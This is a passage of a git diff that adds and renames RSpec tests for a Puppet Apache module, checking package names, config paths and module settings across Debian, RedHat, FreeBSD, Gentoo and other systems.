'/usr/local/etc/apache24/Modules' + $conf_file = '/usr/local/etc/apache24/httpd.conf' + $ports_file = '/usr/local/etc/apache24/Includes/ports.conf' + $vhost = '/usr/local/etc/apache24/Vhosts/15-default.conf' + $vhost_dir = '/usr/local/etc/apache24/Vhosts' + $run_dir = '/var/run/apache24' + $doc_root = '/var/www' + $service_name = 'apache24' + $package_name = 'apache24' + $error_log = 'http-error.log' + + $apache_version = '2.2' +when 'Gentoo' + $confd_dir = '/etc/apache2/conf.d' + $mod_dir = '/etc/apache2/modules.d' + $conf_file = '/etc/apache2/httpd.conf' + $ports_file = '/etc/apache2/ports.conf' + $vhost = '/etc/apache2/vhosts.d/15-default.conf' + $vhost_dir = '/etc/apache2/vhosts.d' + $run_dir = '/var/run/apache2' + $doc_root = '/var/www' + $service_name = 'apache2' + $package_name = 'www-servers/apache' + $error_log = 'http-error.log' + + $apache_version = '2.4' +when 'Suse' + $confd_dir = '/etc/apache2/conf.d' + $mod_dir = '/etc/apache2/mods-available' + $conf_file = '/etc/apache2/httpd.conf' + $ports_file = '/etc/apache2/ports.conf' + $vhost = '/etc/apache2/sites-available/15-default.conf' + $vhost_dir = '/etc/apache2/sites-available' + $run_dir = '/var/run/apache2' + $doc_root = '/srv/www' + $service_name = 'apache2' + $package_name = 'apache2' + $error_log = 'error.log' + if _operatingsystemrelease < 12 + $apache_version = '2.2' + else + $apache_version = '2.4' + end +else + $apache_version = '0' +end diff --git a/modules/services/unix/http/apache/spec/acceptance/vhost_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/vhost_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/vhost_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/vhost_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/vhosts_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/vhosts_spec.rb new file mode 100644 index 000000000..d8fb062f9 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/vhosts_spec.rb @@ -0,0 +1,32 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +describe 'apache::vhosts class' do + context 'custom vhosts defined via class apache::vhosts' do + it 'should create custom vhost config files' do + pp = <<-EOS + class { 'apache::vhosts': + vhosts => { + 'custom_vhost_1' => { + 'docroot' => '/var/www/custom_vhost_1', + 'port' => '81', + }, + 'custom_vhost_2' => { + 'docroot' => '/var/www/custom_vhost_2', + 'port' => '82', + }, + }, + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-custom_vhost_1.conf") do + it { is_expected.to contain '' } + end + + describe file("#{$vhost_dir}/25-custom_vhost_2.conf") do + it { is_expected.to contain '' } + end + end +end diff --git a/modules/services/unix/http/apache/spec/classes/apache_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/apache_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/apache_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/apache_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/dev_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/dev_spec.rb new file mode 100644 index 000000000..933d67703 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/dev_spec.rb @@ -0,0 +1,89 @@ +require 'spec_helper' + +describe 'apache::dev', :type => :class do + let(:pre_condition) {[ + 'include apache' + ]} + context "on a Debian OS" do + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :is_pe => false, + :concat_basedir => '/foo', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin', + :kernel => 'Linux' + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_package("libaprutil1-dev") } + it { is_expected.to contain_package("libapr1-dev") } + it { is_expected.to contain_package("apache2-prefork-dev") } + end + context "on an Ubuntu 14 OS" do + let :facts do + { + :lsbdistrelease => '14.04', + :lsbdistcodename => 'trusty', + :osfamily => 'Debian', + :operatingsystem => 'Ubuntu', + :operatingsystemrelease => '14.04', + :is_pe => false, + :concat_basedir => '/foo', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin', + :kernel => 'Linux' + } + end + it { is_expected.to contain_package("apache2-dev") } + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '6', + :is_pe => false, + :concat_basedir => '/foo', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin', + :kernel => 'Linux' + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_package("httpd-devel") } + end + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystem => 'FreeBSD', + :operatingsystemrelease => '9', + :is_pe => false, + :concat_basedir => '/foo', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin', + :kernel => 'FreeBSD' + } + end + it { is_expected.to contain_class("apache::params") } + end + context "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :is_pe => false, + :concat_basedir => '/foo', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin', + :kernel => 'Linux' + } + end + it { is_expected.to contain_class("apache::params") } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/alias_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/alias_spec.rb new file mode 100644 index 000000000..99854e818 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/alias_spec.rb @@ -0,0 +1,97 @@ +require 'spec_helper' + +describe 'apache::mod::alias', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + context "on a Debian OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_apache__mod("alias") } + it { is_expected.to contain_file("alias.conf").with(:content => /Alias \/icons\/ "\/usr\/share\/apache2\/icons\/"/) } + end + context "on a RedHat 6-based OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_apache__mod("alias") } + it { is_expected.to contain_file("alias.conf").with(:content => /Alias \/icons\/ "\/var\/www\/icons\/"/) } + end + context "on a RedHat 7-based OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '7', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_apache__mod("alias") } + it { is_expected.to contain_file("alias.conf").with(:content => /Alias \/icons\/ "\/usr\/share\/httpd\/icons\/"/) } + end + context "with icons options", :compile do + let :pre_condition do + 'class { apache: default_mods => false }' + end + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '7', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + let :params do + { + 'icons_options' => 'foo' + } + end + it { is_expected.to contain_apache__mod("alias") } + it { is_expected.to contain_file("alias.conf").with(:content => /Options foo/) } + end + context "on a FreeBSD OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'FreeBSD', + :osfamily => 'FreeBSD', + :operatingsystem => 'FreeBSD', + :operatingsystemrelease => '10', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_apache__mod("alias") } + it { is_expected.to contain_file("alias.conf").with(:content => /Alias \/icons\/ "\/usr\/local\/www\/apache24\/icons\/"/) } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/auth_cas_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/auth_cas_spec.rb new file mode 100644 index 000000000..aee3f8c29 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/auth_cas_spec.rb @@ -0,0 +1,64 @@ +require 'spec_helper' + +describe 'apache::mod::auth_cas', :type => :class do + context "default params" do + let :params do + { + :cas_login_url => 'https://cas.example.com/login', + :cas_validate_url => 'https://cas.example.com/validate', + :cas_cookie_path => '/var/cache/apache2/mod_auth_cas/' + } + end + + it_behaves_like "a mod class, without including apache" + end + + context "default configuration with parameters" do + let :params do + { + :cas_login_url => 'https://cas.example.com/login', + :cas_validate_url => 'https://cas.example.com/validate', + } + end + + context "on a Debian OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod("auth_cas") } + it { is_expected.to contain_package("libapache2-mod-auth-cas") } + it { is_expected.to contain_file("auth_cas.conf").with_path('/etc/apache2/mods-available/auth_cas.conf') } + it { is_expected.to contain_file("/var/cache/apache2/mod_auth_cas/").with_owner('www-data') } + end + context "on a RedHat OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod("auth_cas") } + it { is_expected.to contain_package("mod_auth_cas") } + it { is_expected.to contain_file("auth_cas.conf").with_path('/etc/httpd/conf.d/auth_cas.conf') } + it { is_expected.to contain_file("/var/cache/mod_auth_cas/").with_owner('apache') } + end + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/auth_kerb_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/auth_kerb_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/auth_kerb_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/auth_kerb_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/auth_mellon_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/auth_mellon_spec.rb new file mode 100644 index 000000000..7d0826ff7 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/auth_mellon_spec.rb @@ -0,0 +1,90 @@ +require 'spec_helper' + +describe 'apache::mod::auth_mellon', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :fqdn => 'test.example.com', + :is_pe => false, + } + end + describe 'with no parameters' do + it { should contain_apache__mod('auth_mellon') } + it { should contain_package('libapache2-mod-auth-mellon') } + it { should contain_file('auth_mellon.conf').with_path('/etc/apache2/mods-available/auth_mellon.conf') } + it { should contain_file('auth_mellon.conf').with_content("MellonPostDirectory \"\/var\/cache\/apache2\/mod_auth_mellon\/\"\n") } + end + describe 'with parameters' do + let :params do + { :mellon_cache_size => '200', + :mellon_cache_entry_size => '2010', + :mellon_lock_file => '/tmp/junk', + :mellon_post_directory => '/tmp/post', + :mellon_post_ttl => '5', + :mellon_post_size => '8', + :mellon_post_count => '10' + } + end + it { should contain_file('auth_mellon.conf').with_content(/^MellonCacheSize\s+200$/) } + it { should contain_file('auth_mellon.conf').with_content(/^MellonCacheEntrySize\s+2010$/) } + it { should contain_file('auth_mellon.conf').with_content(/^MellonLockFile\s+"\/tmp\/junk"$/) } + it { should contain_file('auth_mellon.conf').with_content(/^MellonPostDirectory\s+"\/tmp\/post"$/) } + it { should contain_file('auth_mellon.conf').with_content(/^MellonPostTTL\s+5$/) } + it { should contain_file('auth_mellon.conf').with_content(/^MellonPostSize\s+8$/) } + it { should contain_file('auth_mellon.conf').with_content(/^MellonPostCount\s+10$/) } + end + + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :fqdn => 'test.example.com', + :is_pe => false, + } + end + describe 'with no parameters' do + it { should contain_apache__mod('auth_mellon') } + it { should contain_package('mod_auth_mellon') } + it { should contain_file('auth_mellon.conf').with_path('/etc/httpd/conf.d/auth_mellon.conf') } + it { should contain_file('auth_mellon.conf').with_content("MellonCacheSize 100\nMellonLockFile \"/run/mod_auth_mellon/lock\"\n") } + end + describe 'with parameters' do + let :params do + { :mellon_cache_size => '200', + :mellon_cache_entry_size => '2010', + :mellon_lock_file => '/tmp/junk', + :mellon_post_directory => '/tmp/post', + :mellon_post_ttl => '5', + :mellon_post_size => '8', + :mellon_post_count => '10' + } + end + it { should contain_file('auth_mellon.conf').with_content(/^MellonCacheSize\s+200$/) } + it { should contain_file('auth_mellon.conf').with_content(/^MellonCacheEntrySize\s+2010$/) } + it { should contain_file('auth_mellon.conf').with_content(/^MellonLockFile\s+"\/tmp\/junk"$/) } + it { should contain_file('auth_mellon.conf').with_content(/^MellonPostDirectory\s+"\/tmp\/post"$/) } + it { should contain_file('auth_mellon.conf').with_content(/^MellonPostTTL\s+5$/) } + it { should contain_file('auth_mellon.conf').with_content(/^MellonPostSize\s+8$/) } + it { should contain_file('auth_mellon.conf').with_content(/^MellonPostCount\s+10$/) } + end + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/authn_dbd_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/authn_dbd_spec.rb new file mode 100644 index 000000000..4e101d1b5 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/authn_dbd_spec.rb @@ -0,0 +1,62 @@ +require 'spec_helper' + +describe 'apache::mod::authn_dbd', :type => :class do + context "default params" do + let :params do + { + :authn_dbd_params => 'host=db_host port=3306 user=apache password=###### dbname=apache_auth', + } + end + + it_behaves_like "a mod class, without including apache" + end + + context "default configuration with parameters" do + let :params do + { + :authn_dbd_params => 'host=db_host port=3306 user=apache password=###### dbname=apache_auth', + :authn_dbd_alias => 'db_authn', + :authn_dbd_query => 'SELECT password FROM authn WHERE username = %s' + } + end + + context "on a Debian OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod("authn_dbd") } + it { is_expected.to contain_apache__mod("dbd") } + it { is_expected.to contain_file("authn_dbd.conf").with_path('/etc/apache2/mods-available/authn_dbd.conf') } + end + + context "on a RedHat OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod("authn_dbd") } + it { is_expected.to contain_apache__mod("dbd") } + it { is_expected.to contain_file("authn_dbd.conf").with_path('/etc/httpd/conf.d/authn_dbd.conf') } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/authnz_ldap_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/authnz_ldap_spec.rb new file mode 100644 index 000000000..7469d165e --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/authnz_ldap_spec.rb @@ -0,0 +1,76 @@ +require 'spec_helper' + +describe 'apache::mod::authnz_ldap', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + context "on a Debian OS" do + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'Debian', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_class("apache::mod::ldap") } + it { is_expected.to contain_apache__mod('authnz_ldap') } + + context 'default verify_server_cert' do + it { is_expected.to contain_file('authnz_ldap.conf').with_content(/^LDAPVerifyServerCert On$/) } + end + + context 'verify_server_cert = false' do + let(:params) { { :verify_server_cert => false } } + it { is_expected.to contain_file('authnz_ldap.conf').with_content(/^LDAPVerifyServerCert Off$/) } + end + + context 'verify_server_cert = wrong' do + let(:params) { { :verify_server_cert => 'wrong' } } + it 'should raise an error' do + expect { is_expected.to raise_error Puppet::Error } + end + end + end #Debian + + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'RedHat', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_class("apache::mod::ldap") } + it { is_expected.to contain_apache__mod('authnz_ldap') } + + context 'default verify_server_cert' do + it { is_expected.to contain_file('authnz_ldap.conf').with_content(/^LDAPVerifyServerCert On$/) } + end + + context 'verify_server_cert = false' do + let(:params) { { :verify_server_cert => false } } + it { is_expected.to contain_file('authnz_ldap.conf').with_content(/^LDAPVerifyServerCert Off$/) } + end + + context 'verify_server_cert = wrong' do + let(:params) { { :verify_server_cert => 'wrong' } } + it 'should raise an error' do + expect { is_expected.to raise_error Puppet::Error } + end + end + end # Redhat + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/cluster_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/cluster_spec.rb new file mode 100644 index 000000000..b5f74bac7 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/cluster_spec.rb @@ -0,0 +1,105 @@ +require 'spec_helper' + +describe 'apache::mod::cluster', :type => :class do + context 'on a RedHat OS Release 7 with mod version = 1.3.0' do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + let(:params) { + { + :allowed_network => '172.17.0', + :balancer_name => 'mycluster', + :ip => '172.17.0.1', + :version => '1.3.0' + } + } + + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_apache__mod('proxy') } + it { is_expected.to contain_apache__mod('proxy_ajp') } + it { is_expected.to contain_apache__mod('manager') } + it { is_expected.to contain_apache__mod('proxy_cluster') } + it { is_expected.to contain_apache__mod('advertise') } + it { is_expected.to contain_apache__mod('cluster_slotmem') } + + it { is_expected.to contain_file('cluster.conf') } + end + + context 'on a RedHat OS Release 7 with mod version > 1.3.0' do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + let(:params) { + { + :allowed_network => '172.17.0', + :balancer_name => 'mycluster', + :ip => '172.17.0.1', + :version => '1.3.1' + } + } + + it { is_expected.to contain_class('apache') } + it { is_expected.to contain_apache__mod('proxy') } + it { is_expected.to contain_apache__mod('proxy_ajp') } + it { is_expected.to contain_apache__mod('manager') } + it { is_expected.to contain_apache__mod('proxy_cluster') } + it { is_expected.to contain_apache__mod('advertise') } + it { is_expected.to contain_apache__mod('cluster_slotmem') } + + it { is_expected.to contain_file('cluster.conf') } + end + + context 'on a RedHat OS Release 6 with mod version < 1.3.0' do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + let(:params) { + { + :allowed_network => '172.17.0', + :balancer_name => 'mycluster', + :ip => '172.17.0.1', + :version => '1.2.0' + } + } + + it { is_expected.to contain_class('apache') } + it { is_expected.to contain_apache__mod('proxy') } + it { is_expected.to contain_apache__mod('proxy_ajp') } + it { is_expected.to contain_apache__mod('manager') } + it { is_expected.to contain_apache__mod('proxy_cluster') } + it { is_expected.to contain_apache__mod('advertise') } + it { is_expected.to contain_apache__mod('slotmem') } + + it { is_expected.to contain_file('cluster.conf') } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/dav_svn_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/dav_svn_spec.rb new file mode 100644 index 000000000..426b547f2 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/dav_svn_spec.rb @@ -0,0 +1,80 @@ +require 'spec_helper' + +describe 'apache::mod::dav_svn', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + context "on a Debian OS" do + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :operatingsystemmajrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('dav_svn') } + it { is_expected.to contain_package("libapache2-svn") } + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :operatingsystemmajrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('dav_svn') } + it { is_expected.to contain_package("mod_dav_svn") } + end + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :operatingsystemmajrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('dav_svn') } + it { is_expected.to contain_package("devel/subversion") } + end + context "on a Gentoo OS", :compile do + let :facts do + { + :id => 'root', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :kernel => 'Linux', + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('dav_svn') } + it { is_expected.to contain_package("dev-vcs/subversion") } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/deflate_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/deflate_spec.rb new file mode 100644 index 000000000..264c70f36 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/deflate_spec.rb @@ -0,0 +1,127 @@ +require 'spec_helper' + +# This function is called inside the OS specific contexts +def general_deflate_specs + it { is_expected.to contain_apache__mod("deflate") } + + it do + is_expected.to contain_file("deflate.conf").with_content( + "AddOutputFilterByType DEFLATE text/css\n"\ + "AddOutputFilterByType DEFLATE text/html\n"\ + "\n"\ + "DeflateFilterNote Input instream\n"\ + "DeflateFilterNote Ratio ratio\n" + ) + end +end + +describe 'apache::mod::deflate', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + let :pre_condition do + 'class { "apache::mod::deflate": + types => [ "text/html", "text/css" ], + notes => { + "Input" => "instream", + "Ratio" => "ratio", + } + } + ' + end + + context "On a Debian OS with default params" do + let :facts do + { + :id => 'root', + :lsbdistcodename => 'squeeze', + :kernel => 'Linux', + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + + # Load the more generic tests for this context + general_deflate_specs() + + it { is_expected.to contain_file("deflate.conf").with({ + :ensure => 'file', + :path => '/etc/apache2/mods-available/deflate.conf', + } ) } + it { is_expected.to contain_file("deflate.conf symlink").with({ + :ensure => 'link', + :path => '/etc/apache2/mods-enabled/deflate.conf', + } ) } + end + + context "on a RedHat OS with default params" do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + + # Load the more generic tests for this context + general_deflate_specs() + + it { is_expected.to contain_file("deflate.conf").with_path("/etc/httpd/conf.d/deflate.conf") } + end + + context "On a FreeBSD OS with default params" do + let :facts do + { + :id => 'root', + :kernel => 'FreeBSD', + :osfamily => 'FreeBSD', + :operatingsystem => 'FreeBSD', + :operatingsystemrelease => '9', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + + # Load the more generic tests for this context + general_deflate_specs() + + it { is_expected.to contain_file("deflate.conf").with({ + :ensure => 'file', + :path => '/usr/local/etc/apache24/Modules/deflate.conf', + } ) } + end + + context "On a Gentoo OS with default params" do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :is_pe => false, + } + end + + # Load the more generic tests for this context + general_deflate_specs() + + it { is_expected.to contain_file("deflate.conf").with({ + :ensure => 'file', + :path => '/etc/apache2/modules.d/deflate.conf', + } ) } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/dev_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/dev_spec.rb new file mode 100644 index 000000000..4c9f324b3 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/dev_spec.rb @@ -0,0 +1,32 @@ +require 'spec_helper' + +describe 'apache::mod::dev', :type => :class do + let(:pre_condition) {[ + 'include apache' + ]} + + it_behaves_like "a mod class, without including apache" + + [ + ['RedHat', '6', 'Santiago', 'Linux'], + ['Debian', '6', 'squeeze', 'Linux'], + ['FreeBSD', '9', 'FreeBSD', 'FreeBSD'], + ].each do |osfamily, operatingsystemrelease, lsbdistcodename, kernel| + context "on a #{osfamily} OS" do + let :facts do + { + :lsbdistcodename => lsbdistcodename, + :osfamily => osfamily, + :operatingsystem => osfamily, + :operatingsystemrelease => operatingsystemrelease, + :is_pe => false, + :concat_basedir => '/foo', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin', + :kernel => kernel + } + end + it { is_expected.to contain_class('apache::dev') } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/dir_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/dir_spec.rb new file mode 100644 index 000000000..9aad0d3ff --- /dev/null +++ 